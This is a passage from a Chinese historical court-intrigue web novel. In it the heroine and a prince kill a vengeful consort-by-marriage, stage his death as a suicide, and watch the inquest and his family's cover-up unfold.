这本来就是她的事情,不能将国公府牵扯其中。 她的心底已经有了猜测。 她得罪的无非就是定远侯府、温家、长公主府和太后这几家。 定远侯府的仇人已经死光,温家也已经全被赶出京城,就只剩太后和长公主府了。 太后那边,更想用婚事来控制她,而驸马李兰亭,虽然没有亲自上门找过她 但李柔徽是驸马的侄女,她被驸马怂恿着对付她的可能最大。 今日这两回刺杀,幕后之人大概率就是驸马李兰亭了。 “傻孩子,证据这种东西,何必我们自己找呢。”烈国公冷笑一声,命人将晏逐星送回了摘星院。 晏逐星拗不过他,只得老实待在了院子里。 但很快她就有了主意。 * 烈国公一路疾行入了宫,不顾宫人阻拦,直闯御书房。 文昭帝正批阅奏章,被他这满脸煞气、双目赤红的模样惊得笔都掉了。 “爱卿,你这是……?” 文昭帝话音未落,烈国公“扑通”一声重重跪倒在地。 “皇上——!您要为老臣做主啊!!!” 他这一嗓子,把文昭帝惊得从龙椅上豁然站起。 若他没记错,今日应该是国公府的认亲宴吧。 怎么好端端的烈国公忽然冲进宫来找他做主,难不成认亲宴上烈国公家那唯一的傻世子出事了? “发生了何事?” “皇上,有人想要我尉迟家绝后啊。” 烈国公痛哭流涕了起来。 “老臣前年没了女儿,如今膝下就剩那么一根独苗,我那苦命的儿啊。” “您知道的,他小时候一场高烧烧坏了脑子,至今如同五六岁的稚儿一般,老臣已经不指望他传宗接代,如今认下义女,也是为了老臣百年之后,可以让义女照拂我儿。可如今……” 烈国公声音哽咽。 文昭帝吓了一跳:“怎的了,可是世子出事了?” 若是世子出事了,那可就麻烦了。 那可是烈国公的唯一的后人了。 “敦儿没事。” 听到这话,文昭帝舒了一口气,但下一刻他又紧张了起来。 尉迟敦没事,那岂不是他刚封的令嘉县主出事了? 那可是他和皇后看好的小儿媳啊,也是万万不能出事的。 好在烈国公没有卖关子,继续哭着控诉: “如今,竟有人把手伸到我府里来了。他们想害死老臣刚认下的义女令嘉县主。皇上,您想想,外人害她一个无依无靠的孤女做什么?图什么?” 他快速将毒梳和毒蛇的事情说了出来。 文昭帝一凛,好歹毒的法子。 若后宫也有人行这等阴毒的招数,那可真是防不胜防。 “老臣思来想去,这哪是冲她去的?这分明是项庄舞剑,意在沛公。他们是嫌我那傻儿子尉迟敦碍眼!” “他们要害的,是我尉迟家唯一的指望,是想要老臣断子绝孙,让我这一脉彻底绝户啊,皇上!!!” 烈国公最后这一声,喊得嗓子都劈叉了。 文昭帝伸手将烈国公搀扶了起来。 他严肃着脸道:“爱卿放心,此事朕一定会为你做主。” “此人胆大包天,竟敢谋害忠良之后。断人宗嗣,其心可诛。朕定将那幕后真凶给揪出来,严惩不贷。” “多谢皇上圣恩。”烈国公又哭着跪倒在地,给皇上重重磕了几个响头。 眼泪糊满了他整张脸,他花白的胡须也被眼泪打湿,一绺绺黏在一起。 这副狼狈凄惨的模样,谁瞧见了都忍不住心酸。 文昭帝身后的严公公忍不住在心底叹气: 这烈国公一家可真是惨啊。 儿子傻了,女儿死了,今日认个义女,还能折腾出刺杀之事。 真是坎坷波折的一生啊。 不过那令嘉县主可真个幸运的人啊,被刺杀这么多回,换做旁人恐怕投胎都好几回了,她硬是没死。 啧啧,真是有福之人啊。 * 李兰亭在公主府里来回踱步。 他一直等着晏逐星的死讯传来,没想到当天夜里等到的却是皇上要严查谋害烈国公府世子的消息。 “竟然还没死?”李兰亭恨得咬牙切齿。 他没想到,晏逐星的命竟然这般硬。 怪不得定远侯府的人都被她给克死了,朝华和福安也接连被她害死。 他死死盯着朝华长公主和福安郡主的牌位,眼神空洞,嘴里反复念叨着如同诅咒的低语: “她就是颗灾星,走到哪儿,哪儿就得死人……” “她死了……这世上就清净了……再不会有人死了……” 他的声音陡然拔高,带着一种病态的狂热。 “我杀了她,是替天行道!是为所有人除害!” 他的声音又变得有些飘忽,眼神也变得迷离不定。 “朝华,福安,你们就在天上看着我呢……对吗?” “我一定会杀了她……杀了她……” 供桌上香雾缭绕,那袅袅青烟盘旋在李兰亭扭曲的面容前,衬得他神色狰狞如恶鬼。 他用帕子仔细擦拭着妻女的牌位,唇边还浮起若有似无的笑。 一旁的心腹侍卫将这一切看在眼里,心头猛地一沉,一股寒意瞬间从脚底板窜上头顶。 驸马爷这模样,怎么看着像是入了魔? 他心头发麻,不敢再看李兰亭。 “咔哒。” 门外忽然传来一声轻响,在寂静的灵堂里显得格外刺耳。 侍卫浑身汗毛瞬间倒竖,一股强烈的危机感如同冰水浇头而来。 他来不及细想右手闪电般按上腰间刀柄,同时一个箭步挡在李兰亭身前,嘶声厉吼:“驸马当心!有刺客!” 第199章 主动约王爷 李兰亭被这突如其来的变故惊得手中的牌位猛地坠到了地上。 朝华长公主的牌位落在地上,瞬间摔碎了一个角。 “朝华……” 他惊呼出声伸出手想要去把牌位捞起来,却猝不及防被后退的侍卫蒋峰撞了一下。 这一撞他重心全失,脚下一个趔趄,竟不偏不倚狠狠一脚踏在了朝华长公主的牌位之上。 “朝!华!”李兰亭目眦欲裂。 蒋峰拔刀警惕地看着门口声音传来的位置,可外边却没了动静。 这时听到身后驸马撕心裂肺的怒吼,他猛地回头,看到地上断裂的牌位,顿时意识到自己闯下了惊天大祸。 “驸、驸马……”他惊恐地后退了一步。 李兰亭死死瞪着蒋峰,眼中怒火几乎要喷出来。 “刺客?!”他声音嘶哑地吼道,“你喊有刺客!刺客在哪?!” “在那边。”蒋峰慌忙指向先前发出声音的地方,“刚才真有人!” 李兰亭顺着他指的方向快步走了过去,推开门一看,外边只有婆娑的树影和沉沉的夜色,哪有什么刺客踪影? “人呢?”李兰亭双目猩红地看着他,“我看根本就没人,是你这狗东西存心作祟,毁坏公主灵位!该死!” “驸马饶命!”蒋峰当即跪下求饶。 然而李兰亭已经被暴怒冲昏了理智,他猛地抄起供桌上沉重的青铜香灰炉,用尽全身力气,狠狠朝蒋峰的脑袋砸去。 蒋峰下意识地闪躲,但一贯以来的忠诚让他又不敢闪躲得太过,因而那沉重的香灰炉虽然没有砸到他的脑袋,但也正中他的肩头。 肩头的剧痛让他倒在了地上,香灰飞散出来迷了他的眼,他的脸上身上瞬间一片灰白,整个人狼狈不堪。 不一会儿,外边就传来一阵急促杂乱的脚步声和惊呼声。 “快,捉拿刺客!” “驸马?!” “快!进去看看!” 门被猛地推开。 闻声赶来的管事和侍卫瞬间冲了进来。 他们一进门就被眼前触目惊心的景象给吓到了。 地上是断成两截的“朝华长公主”牌位。 驸马的心腹侍卫蒋峰倒在厚厚的香灰堆里,满头满脸都是灰白色的粉末,正痛苦地呻吟,狼狈地翻滚着。 而驸马手中正举着燃着火的香烛。 在烛光的映照下,李兰亭那张因暴怒而扭曲的脸,看起来格外恐怖。 所有人都惊呆了。 他们甚至来不及阻止,就看到李兰亭把手中的蜡烛狠狠地烫到了蒋峰的身上。 蒋峰发出一声惨叫,嘴里不停地喊着驸马饶命,翻滚得更厉害了。 众人目瞪口呆。 看驸马这模样,分明是得了失心疯了。 隐藏在暗处的停云暗道一声:成了! 两个时辰前,他奉王爷之命去烈国公府给晏大小姐送认亲宴的贺礼。 他有些疑惑,王爷为何不今日当着那么多宾客的面去送礼,好让人知道晏大小姐身后有王爷撑腰,偏要等宾客散尽后,才让他低调地送礼。 照夜没好气地给他解释。 王爷去了不就抢了大小姐的风头了么。 今日认亲宴,大小姐才是主角。等日后她那流光阁开了,王爷再去撑腰,旁人自然也就心知肚明了。 停云这才恍然大悟。 没想到,他把东西送到后想要离开,就被晏逐星叫住了,让他给王爷带一句话。 “今夜月黑风高,是个杀人的好日子。劳烦你转告一下王爷,有没有兴趣一块去长公主府杀个人。” 停云:“……” 别的姑娘约男子出门,都是赏花踏青。 这位晏大小姐倒好,约他们王爷出门,每次不是杀人,就是去游玩的路上顺便杀人。 他问清了今日发生的事情,便带着晏逐星的口信回了王府。 谢翊宁得知李兰亭今日竟然丧心病狂地接连对晏逐星下了两次毒手,当即拍板决定:“好,今夜本王奉陪到底。” 朝华姑母和福安表妹都没了,她们在九泉之下一定很孤单。 还是把驸马送去一块陪她们吧,一家人整整齐齐,说不定还能赶上一块投胎,来世还可以再当一家人。 于是就有了停云深夜潜入长公主府祠堂的这一幕。 他是王府轻功最厉害的那个,他依照晏大小姐的计划带着乱人心神的迷烟潜入了公主府的祠堂。 人一旦吸入这个迷烟,便容易变得心浮气躁,心神不宁。 这烟混在祠堂的香火味里,李兰亭主仆二人压根察觉不出来。 尤其是李兰亭心里本来就憋着火,吸入这烟之后,更是一点小事都能让他变得无比暴躁。 事情的效果比停云想的更好,朝华长公主的牌位竟然意外摔断了。 李兰亭被刺激得彻底发了疯。 而另一边,照夜喊了一声“有刺客,保护驸马”便将公主府大部分的侍卫都吸引了过来。 想必晏大小姐和王爷已经趁机混到了长公主的寝屋,等着驸马上钩了。 …… 众人看着像是着了魔的李兰亭,大气都不敢喘。 李兰亭起身将蜡烛扔到了地上,冷冷地看着在场的人。 “你们不去找刺客,傻站着做什么?” “是。”众人如梦初醒,赶忙退下,无人敢替地上的蒋峰求情。 李兰亭捡起了朝华长公主的牌位,失魂落魄地抱着牌位回了朝华长公主生前居住的寝屋。 王府的下人们不敢靠前,只敢远远地跟着他。 今夜驸马的样子,实在让人心惊胆战。 要知道,驸马爷本是府里心肠最软的主子,待下人和善,说话都温声细语。 可如今竟变得这般骇人。 仆从们心里都揪着,只盼驸马爷能早日清醒过来,变回从前那位温和有礼的好主子。 李兰亭推开了房门后顺手将门给关上。 下人们你看看我,我看看你,最终还是没敢跟进屋。 屋内没有点灯,只有月光斜斜地从窗户照了进来。 李兰亭没有让人进屋伺候。 他枯坐在床沿指尖颤抖地抚过碎成两半的牌位,眼泪无声滑落。 “对不起,朝华……” “我没能给你报仇……” 第三句话还没来得及说出口,一道白绫毫无征兆地从背后床榻的阴影处窜出,瞬间死死勒住了他的脖子。 第200章 驸马爷之死 李兰亭的身子猛地一僵,手中的牌位再次跌落。 勒住他的力量大得惊人,根本不容他有丝毫挣扎的余地。 白绫深深陷入皮肉,几乎要勒断他的喉咙。 对方很明显不打算让他活着。 李兰亭双眼暴突,脚尖无力地蹬踹着地面。 他徒劳地抬起青筋毕露的手,一手想去抓挠颈间的白绫,另一只手又想去触碰那近在咫尺的牌位。 但最终他什么都没碰到。 挣扎不过数息,他便彻底失去了意识。 另一个阴影处里的谢翊宁无声地看着这一幕。 果然上回不是他的错觉,小恩人的力气确实很大。 先前晏逐星提出要勒死驸马,伪造他自缢的假象时,他曾主动提出要不这种杀人的事情让他来吧。 但晏逐星拒绝了,只说让她来就好。 如今看着晏逐星勒死李兰亭比杀鸡还轻松,谢翊宁便觉得刚刚没有强行要自己上是多么的正确。 见李兰亭没了呼吸,谢翊宁这才从阴影处走了出来。 晏逐星指节一松,白绫应声滑落。 两人眼神交汇,没有丝毫迟疑,继续完成他们的计划——伪造李兰亭自缢的假象。 李兰亭的尸体被悬挂在横梁之下。 晏逐星弯腰将朝华长公主的牌位扔在了李兰亭悬空的脚边。 抬头望去,发现李兰亭至死都圆睁着的眼睛,竟不偏不倚地直直地落在朝华长公主的牌位之上。 * 离开长公主府后,晏逐星长长地舒了一口气。 她笑着看向谢翊宁,声音里是说不出的轻松愉悦。 “王爷,今夜多谢您了。” 自从李兰亭调查过她的行踪后咬死是她害了朝华长公主后,她便趁着丧礼时,买通了公主府的一个下人,摸清了李兰亭每日的作息。 自打朝华长公主去世后,他每日都会去祠堂和妻女的牌位说上一会儿话,然后就会回到朝华长公主的寝屋呆上许久。 晏逐星在确认今日认亲宴大概率是李兰亭动手后,便决定今夜就动手,杀了他。 虽然烈国公已经入宫求皇上做主了,但迟则生变,谁也不知道在皇上命人调查的过程里会发生什么。 万一这期间李兰亭狗急跳墙,因为她迁怒到无辜之人身上怎么办。 尤其是尉迟敦,他的心智如同幼童一般,最容易被利用,届时若是尉迟敦出了什么事,她哪里对得起烈国公一家。 唯一的解决办法就是先杀了李兰亭,不给他任何生事的机会。 因而,她便找上了谢翊宁。 虽然她可以带着九栀混到长公主府里,杀了李兰亭。 但只有她们俩,收尾难免会有纰漏。 带上停云和照夜,那就方便多了。 毕竟处理这种事情,他们是专业的。 谢翊宁挑眉一笑:“说什么谢,这本来就不是你一个人的事。杀公主那事,我也有份。” “如今,咱们可是一条绳上的蚂蚱。” “这下你总可以完完全全相信我了吧?” 晏逐星抿唇一笑,重重点头:“我一直都很相信您啊。若不相信您,我又怎么会让停云给您传信。” 这句话很好地取悦了谢翊宁。 “没错,以后若是有事,只管来找本王。”他脸上的笑容愈发灿烂了。 扭头看见晏逐星复杂的眼神,他心念一动,拉长了音调道:“你放心,若本王有用得着你的地方,肯定会告诉你的。” “好!只要是王爷的吩咐,我一定都会办到。”晏逐星痛快地答应了下来。 谢翊宁唇边的笑却淡了几分。 他眉眼耷拉下来,有些失望。 看来小恩人还是没有真的把他当成自己人啊。 若真把他当成自己人,又怎么会得了他一分好,就总想着回报他两分。 * 翌日清晨早朝前,烈国公穿上了官服,对着铜镜挤眉弄眼了一番。 烈国公夫人一脸惊讶地看向他:“夫君,你这是在做什么?” 烈国公轻咳两声,指着自己浮肿的眼皮道:“我这不是想让皇上看看,让文武百官看看,我有多伤心,多悲痛么。” 烈国公夫人:“……” 烈国公见夫人一副无言以对的模样,赶忙转移了话题。 “放心吧,今日我上朝,一定会想办法让皇上尽早给星儿一个公道的。” “等她醒了,你记得多宽慰宽慰她,让她多在咱们府里住些时日。我就不信那人还敢把手伸到国公府里来。” 说到这,烈国公又想起了昨日晏逐星在小花园里斩杀毒蛇一事。 能成功在三条毒蛇手底下逃脱,这丫头真是个习武的好苗子啊。 等下了朝,他一定得好好跟这丫头聊一聊。 他这一身的功夫正愁着没人可传下去呢,若星儿愿意学,那可真是太好了。 “好,夫君,你快去吧。”烈国公夫人柔声点头。 “至于星儿那边暂时先让她好好休息吧,听摘星院的丫鬟说星儿昨天半夜偷偷起床在院子里哭了呢。” 烈国公夫人说起这个,语气满是心疼。 “好。”烈国公应下,这才入了朝。 早朝就要结束时,严公公高声询问百官是否还有事要奏,烈国公当即猛地跨步出列。 “老臣有事要奏——” 他酝酿了一个早朝,如今哭诉起来那叫一个激情澎湃。 他哽咽着说起昨日晏逐星遇刺之事,然后将事情从害他尉迟一族断子绝孙说到那幕后之人是对文昭帝不满上了。 “您才封了星儿当县主,就立刻有人要刺杀她。” “这幕后黑手,其心可诛!其行可灭!这分明是在打您的脸,是在向整个朝廷示威啊,皇上!” 昨日被皇上连夜召进宫查办此案的几位官员,此刻看向烈国公的眼神里都带着掩饰不住的幽怨和疲惫。 人不是活蹦乱跳的么,至于闹这么大阵仗? 他们手头的案子都压了一箩筐了。 烈国公这金殿一哭,皇上一怒,他们查案的时限怕是又要被砍掉一大截了。 果不其然,怕什么来什么。 龙椅上的文昭帝沉着脸开口:“此事三日之内,朕要看到结果。” 大理寺和刑部的官员两眼一黑,只觉得天旋地转,却也只得硬着头皮领旨:“臣……遵旨。” 然而,没等他们把这口气喘匀,另一个让他们惊讶的消息就传来了。 第201章 自缢或谋害 “启禀皇上!大事不好!驸马李兰亭昨夜在朝华长公主的寝殿内……悬梁自尽了!” 一句话惹得众人错愕不已。 他们齐刷刷地看向了太子少傅李怀瑾。 驸马可是他的亲弟弟。 大理寺和刑部的官员对视一眼,都看到了彼此眼里的期待。 老天保佑啊,驸马千万是自缢的,而不是被害死的。 不然他们可有得来忙了。 被众人注视着的李怀瑾眉头紧锁。 三弟前些日子还吵着闹着让父亲帮着给福安郡主报仇,怎么会忽然就自缢了呢? 他脚步踉跄退后两步。 “不,不可能……” 紧邻着他的官员赶忙上前搀扶住了他。 “少傅,节哀啊。” 朝堂之下小小地骚乱了一阵。 文昭帝眉头皱起询问道:“因何缘故自缢?可有遗书?” 这个节骨眼上李兰亭忽然自缢,莫名让他联想到了昨日烈国公府认亲宴的事情。 他才命人彻查此案,驸马就自缢了? 难不成这二者之间有什么关联? “回皇上,驸马不曾留下遗书。”内侍将朝华长公主府的大管事带了上来。 公主府大管事跪下瑟瑟发抖地说起了昨夜之事。 “启禀皇上,昨夜一切如常,驸马去了祠堂,祭拜长公主与福安郡主……” 他把昨夜祠堂里发生的事情说了出来。 李兰亭仿佛得了失心疯,走火入魔的状态他也没有隐瞒。 “胡说八道,兰亭怎么可能做出这样的事情!”李怀瑾听完当即否认。 李家人最在乎的就是自己的名声,怎么可能当众做出这种殴打心腹,还用蜡烛烫伤心腹的事情。 这位管事口中的那个癫狂的驸马,和他印象里的弟弟半点也不一样。 “小的所言句句属实,绝不敢欺瞒各位大人啊!” 公主府大管事脸色煞白,慌忙解释了起来。 “今早侍女去请驸马爷,一推门就看见驸马爷悬在梁上。那丫头当场就吓软了,连滚带爬出来报信。” 他深吸一口气,努力稳住心神,继续道。 “小的闻讯,魂都吓飞了一半,可也不敢怠慢,立刻带人赶过去。小的里里外外、仔仔细细都查看过了。” “屋里整整齐齐,一丝打斗痕迹也无,门也是从内紧锁的。” “长公主的牌位就落在驸马爷脚边……” 说到这,他声音渐渐变低了。 在场的人都听出了他的言外之意,驸马是昨夜大受打击,一时间想不开随朝华长公主而去了。 “请皇上明鉴!”李怀瑾站了出来,声音掷地有声。 “兰亭昨日虽悲痛失仪,但他毕生所念就是为妻女报仇雪恨!此仇未报,此恨未消,他岂会自绝?!” 他重重叩首,跪倒在地。 “福安郡主身故,朝华长公主薨逝,如今兰亭又亡。接二连三的,他们一家三口都死绝了,此事岂是偶然?!” “这背后定然藏着阴谋,臣恳请皇上彻查臣弟之死!” 完了,又来一桩大案子。 三司的官员只觉得要呼吸不过来了。 刺杀案还没有结论,如今驸马自缢又要去查,真是让人一个头两个大。 李怀瑾最后这一句话倒是说到了文昭帝的心坎里。 朝华之死,可以说是那些流民的反扑。 可福安之死,至今未能查出真凶。 如今驸马也死了,这一家三口短短几个月全都死了,确实有些古怪。 “宋元柏。” 刑部尚书被点名,认命地站了出来。 只有刑部下设有专业仵作,他知道这事他们刑部得打头阵。 “臣在。”宋元柏沉声回应。 “朕命你速速带人去查清驸马之死,究竟是自缢还是他人谋害?若是被人谋害,五日之内,朕要那真凶人头落地。”文昭帝声音冷得让人心惊。 “记住——” “此案关乎天家颜面,朕要的是铁证如山,水落石出。若敢有半分含糊,休怪朕无情。” “是。臣领旨。” 一句话说得宋元柏有气无力。 下了早朝,他当即让刑部侍郎领着刑部经验最丰富的仵作张痕去了长公主府。 “仔细些查,若出了差池,本官可保不住你的脑袋。”刑部侍郎一脸凝重地看着张痕。 张痕点了点头,不敢耽误正事,小心翼翼地检查了起来。 李兰亭的尸身仍悬挂于梁上,无人敢动。 张痕先命人仔细记录下尸体的悬挂姿态,绳结的样式以及足尖离地的高度,紧接着让画匠把现场的图影完全记录下来。 这才在刑部侍郎的监督下,亲自上前小心翼翼地将尸身解下放置在早已备好的素白门板之上。 而后他开始更加仔细地检查了起来。 * 烈国公回府后,带回了李兰亭的死讯。 “你说,昨日我才入宫告了御状,请皇上严查此事,今日驸马就死了,其中莫不是有什么关联?”烈国公忍不住和夫人探讨了起来。 烈国公夫人思索片刻,开口道:“难不成昨日之事乃是驸马所为?然后李家人怕事情败露,将驸马灭口了?” 烈国公瞥了她一眼,当即摇头:“怎么可能,今日太子少傅可是强烈要求皇上彻查驸马的死因。若人是他们灭口的,他们肯定直接认下自缢身亡的结果了。” “万一他们贼喊捉贼呢?” 烈国公夫人如今看李家人,总觉得没一个好人。 福安郡主李柔嘉小小年纪就那样心狠手辣,而她的堂妹李柔徽更是不得了。 才十四岁的年纪,竟然就能不动声色地把吸引毒蛇的药粉撒到了星儿身上。 太吓人了。 烈国公夫妇讨论着李兰亭的死,摘星院里晏逐星主仆也在议论此事。 “县主,我听仵作说过,人被勒死时的模样和上吊身亡的是不一样的。您确定他们查不出来么?”九栀不由有些担忧。 第202章 她下一个死 晏逐星淡定道:“放心吧,问题不大。” 下手之前,她就已经做好应对之策了。 上辈子在战场上,她见过了太多死法。 见得多了,她便知道什么样的伤是临死前挣扎留下的,什么样的痕迹是死后才添上去的。 所以,她用的是军中处置叛徒的绞索手法。 快、准、狠! 昨夜勒死李兰亭的角度是她精心算过的,特意模仿了人上吊时的八字痕。 她的力道足够大,几个呼吸的功夫就断了李兰亭的生机,让他连一丝多余的抓挠挣扎都没来得及留下。 但这也还是留下了一丝小小的破绽。 不过想必急着结案的刑部官员,不会容许仵作继续刨根问底地查下去。 * “如何?驸马爷究竟是自缢还是被他人所害?”刑部侍郎着急询问张痕。 张痕洗干净手后,方才回答他的问题。 “禀大人,根据尸表征象来看。脖颈处无掐扼的痕迹,白绫索痕提空,手足无搏击之伤,银针亦未验出有毒之物,更兼门闩内锁、现场齐整……” 刑部侍郎迫不及待道:“意思就是驸马乃是自缢而亡?” “看起来是这样的没错。但……” 张痕话还没说完。 “但什么但,没有但是!你想清楚了再说,皇上对此案十分重视,若是你敢糊弄皇上,你就等着脑袋搬家吧。”刑部侍郎高声呵斥。 张痕默了默,他先前查验时觉得驸马喉骨碎裂程度有些太过,不像自缢能造成的,倒像是被人用巨力瞬间勒断而非自缢时缓慢下坠的重量所导致的。 但如今侍郎大人这么一呵斥,让他又把心里的真实想法咽了回去。 多一事不如少一事吧。 他垂下眼眸,一字一句道:“大人教训的是。是小的言辞不够妥当。许是驸马爷悲痛过度,自缢时力道过猛,尸首并无异常,确系自缢无疑。” 有了他这句话,刑部侍郎迅速吩咐道:“详细录档,驸马李兰亭死亡时辰定为昨夜亥时,死因自缢。速报大理寺与皇上。” 御书房内,烛火通明。 文昭帝查阅完刑部呈报上的案件结论,目光落在下方垂首而立的李怀瑾身上。 片刻后,他才缓缓开口。 “爱卿,此案刑部已查明,大理寺亦无异议。驸马他确实是自缢而亡。” 李怀瑾听到这话,眼眶瞬间红了。 他虽然心中不信这个结论,但皇上金口玉言已开,此事就得盖棺定论,不可能再推翻了。 他声音带着一丝沙哑:“皇上圣明。兰亭他确是哀毁过甚,以致失仪于祠堂,最终才在朝华长公主的寝殿……追随殿下而去。” “嗯。”文昭帝点了点头。 “李兰亭自寻短见,辜负皇恩,其罪难逃。念他终究情有所钟,追随朝华与福安而去,朕特准免究其家,留其体面,许其随葬公主陵侧。” 李怀瑾握紧了拳头,跪下谢恩:“多谢皇上圣恩,皇上万岁万岁万万岁。” * 李兰亭的死传回了李家。 李柔徽吓得脸色煞白。 她没想到小叔竟然就这样死了? 明明小叔才让她帮着除掉晏逐星,还允诺了她大好的前程和价值连城的陪嫁。 怎么就死了。 这事会不会和晏逐星有关? 想到小叔说的那些话,朝华长公主和福安郡主都是晏逐星害死的。 李柔徽就惊得双腿直打颤。 如今小叔也被晏逐星害死了,那下一个会不会是她? 大理寺的人还没找上门来,李柔徽就把自己先给吓得发起了高热。 因而等到大理寺来人调查时,李柔徽已经病得无法见人,反而阴差阳错地逃过了一劫。 “大人恕罪,委实是不巧了。我家四小姐前日忽感时气,邪热内侵,如今高热不退,神识昏蒙,实在是无法面见诸位大人啊。” 李家的管家客客气气地送走了大理寺评事,而后便去跟老太爷复命。 “人都送走了?”李崇简面色阴沉。 他没想到小儿子竟然自缢身亡了。 虽然他和长子一样,觉得小儿子的身亡背后定然有蹊跷,但事已至此,刑部和大理寺都认定了是自缢,他们也只能认下这个结果。 只是万万没想到,大理寺调查令嘉县主遇刺一事竟然还能牵扯到他们家。 想到小儿子对杀死晏逐星的执着,李崇简心里隐隐有了些荒诞的猜测。 “糊涂!”他越想越气。 “去,赶紧请太医,务必两日内将柔徽那丫头的病给我治好,我有话要问她。” “是。” 瞧见老太爷动怒,管家不敢耽误此事,赶忙差人请了太医来。 李柔徽的母亲李家二夫人梁氏瞧见公公竟然派人给病中的女儿请了太医,眼泪啪嗒地就落了下来。 她紧张地拉着心腹嬷嬷的手。 “嬷嬷,你说徽儿是不是要不行了,所以父亲才给她请了太医?” 往日府中只有老太爷和大伯哥生病了才会请太医,府中的姑娘家都没有这样的待遇。 除非是生了重病。 因而梁氏看到太医前来不免吓坏了。 “夫人且宽心,太医不是说了么。四小姐不过是邪热内侵罢了,吃两副药调养调养,退了热,明日便清醒了。”嬷嬷赶忙安慰她。 “希望如此。夫君已经不在,如今徽儿和叙白就是我的命。他们可不能出事。”梁氏哭得声音都沙哑了。 翌日清晨。 李柔徽在一阵啜泣声中渐渐恢复了意识。 睁开眼,她就看到了哭得眼睛通红浮肿的母亲。 她心下顿时有些不耐烦。 哭哭哭,母亲就知道哭。 遇到事情哭有什么用呢。 “别哭了,我又不是死了……”李柔徽一张口就被自己的声音吓了一跳。 她怎么了,声音怎会沙哑至此。 “徽儿,你别说这样不吉利的话。”梁氏听到这话,没忍住又掉了眼泪。 “你就是娘的命根子,娘……” 她哭诉的话还没说完,就被李柔徽给打断了。 “别哭了!大夫到底怎么说,我的嗓子还能好吗?”李柔徽的声音十分急切。 一想到可能要顶着这副毁了的嗓子过活,她心底便涌起一股绝望。 “你莫担心,太医说了这只是暂时的,过些时日就好了。”梁氏柔声回答。 “太医?”李柔徽虽然刚刚清醒,但还是敏锐地抓住了母亲话语里的关键词。 好端端的,家里怎么会给她请太医。 还没等梁氏回答她,管家就来了。 “四小姐既然醒了,那便随老奴去见老太爷吧。老太爷等您很久了。” 听到管家这句话,李柔徽的脸色“歘”一下变得惨白。 完了,祖父是不是什么都知道了? 第203章 不是自杀的 “我,我身子还有些不适。娘,我头晕。”李柔徽下意识地想逃避。 梁氏顿时急了,探手去摸她的脑袋。 李柔徽躲开了。 管家在一旁不轻不重地提醒:“四小姐,老太爷今日一定要见您。您若走不动,老奴这就命人将您抬过去。” 李柔徽脸色又白了几分。 她这副模样,连梁氏都察觉到了不对劲。 她有些担忧地开口:“徽儿,你是不是做了什么……” “我病了两日,这副模样怎能见人?容我梳洗更衣,稍后便去拜见祖父!”李柔徽打断了母亲的话,声音带着强烈的不耐烦。 “是,老奴就在外头候着小姐。”管家躬身应是,转身轻轻带上了房门。 李柔徽听到这话,知道今日这一遭是无论如何也躲不过去了。 她阴沉着脸将丫鬟叫来伺候她沐浴更衣,梳洗打扮。 一旁的梁氏张了张口,但最终还是什么都没问。 女儿这性子她心知肚明,若是想说她刚刚就说了,若是不想说,她问再多也没用。 只盼女儿不要做了什么傻事,惹怒公公。 “夫君,你在九泉之下一定要保佑我们的两个孩子呀。”梁氏在心底暗暗祈祷。 没过多久,李柔徽收拾好后,跟着管家一块去见了祖父。 “跪下!” 刚一进书房,李柔徽就听到了祖父的呵斥。 她腿一软当即跪下。 “孽障,说,烈国公府认亲宴那日,你究竟做了什么?”李崇简高声怒喝。 李柔徽听到这话,心里的一丝侥幸都没了。 祖父什么都知道了! 她慌慌张张地把李兰亭让她做的事情说了出来。 但李兰亭承诺给她福安郡主的嫁妆还有帮她重新挑一门好亲事的事,她隐瞒了下来。 “祖父,徽儿知错了。可小叔实在太可怜了。他说只有徽儿能帮他了。呜呜呜呜。” “糊涂!”李崇简听完脸色已经变得铁青。 他没料到小儿子竟然这般执着,还将侄女给牵扯到了其中。 “徽儿知错了,祖父您就原谅我这一回吧。”李柔徽哭得上气不接下气。 “我问你,那东西你小叔给你的时候,可有旁人瞧见?”李崇简气归气,但还是要问清楚。 “没有,小叔是单独见了我的。”李柔徽赶忙摇头。 “那药粉,你小叔可曾说了是从何处来的?”李崇简又问。 “不曾。”李柔徽再一次摇头。 李崇简沉默片刻后,开口道:“行了,这些日子,直到明年出嫁前,都莫要出门见客,安心待嫁吧。” 李柔徽如遭雷击。 但她知道此刻若不乖乖应下,定会惹得祖父大发雷霆,恐怕日后更讨不了好了。 她只得含泪应下。 李柔徽退出去后,李崇简便将长子叫了过来。 原本他还怀疑小儿子的死是不是另有缘故,如今他却不这么想了。 听完孙女的话,他脑海里蓦然生出了一个念头: 许是兰亭接二连三对晏逐星下手她却没死,而皇上又命刑部和大理寺彻查此事,兰亭心慌之下畏罪自裁了。 “兰亭的死已经盖棺定论,你莫要再追究。切记,他就是对朝华长公主用情至深而亡,不要让人将国公府遇刺的案件牵扯到他身上。” 李崇简面色已经不能用阴沉来形容了。 他一辈子清名,难道入土前,还要被小儿子给毁了么? 早知他如此愚蠢,就不该让他尚公主! “父亲,您的意思是兰亭竟跟国公府的案子有关?”李怀瑾也吃了一惊。 李崇简便将李柔徽坦白的事情告诉了长子。 李怀瑾也变了脸色。 他没想到小弟竟然这么糊涂,更没想到一个尚未出阁的侄女竟然这样胆大妄为,敢帮着小弟行那杀人之事。 “父亲放心,此事孩儿一定不会让他们牵扯到李家。” 李怀瑾沉声应下,转头就寻了夫人蔡氏。 “二弟不在了,二弟妹又是个不中用的。你是当家主母,四丫头那儿你得盯紧些。” 蔡氏有些疑惑,想要询问何事,但李怀瑾却不愿细说。 这样要命的事情,还是知道的人越少越好。 大理寺和刑部那边,他得想个法子,让他们将谋害晏逐星的事情扣到旁人身上去,万万不过与李家扯上关系。 但他还没来得及把替罪羔羊给安排好,京城里又传出了一个新的流言。 驸马不是自杀的,而是被太后逼死的。 “什么?”太后听到这个谣言,差点被气得一佛出世二佛升天。 李兰亭的死,怎么会和她扯上关系? “胡说八道,一派谣言!!!”太后大怒。 “可外边如今言之凿凿,说那日您因为长公主和福安郡主的死迁怒了驸马,驸马于宫中受辱,所以想不开便随长公主而去了。”传话的小太监瑟瑟发抖。 太后这一回真是哑巴吃黄连有苦说不出了。 那日李兰亭入宫质问她为何给仇人封了县主,还抬出了朝华和福安,说她们泉下有知也不会安心,她才罚了他掌嘴十下。 但这个原因,是绝对不能往外说的呀。 “杵在那等着挨雷劈吗?怎么还不去把皇上请来。”太后气急败坏地下令。 “去,将皇上请来,就说哀家心口疼得厉害。这些市井小民,刁钻可恨,让他们通通都给哀家闭嘴!” 没过多久,文昭帝就领着太医来了长乐宫。 “母后身体可还安好?” 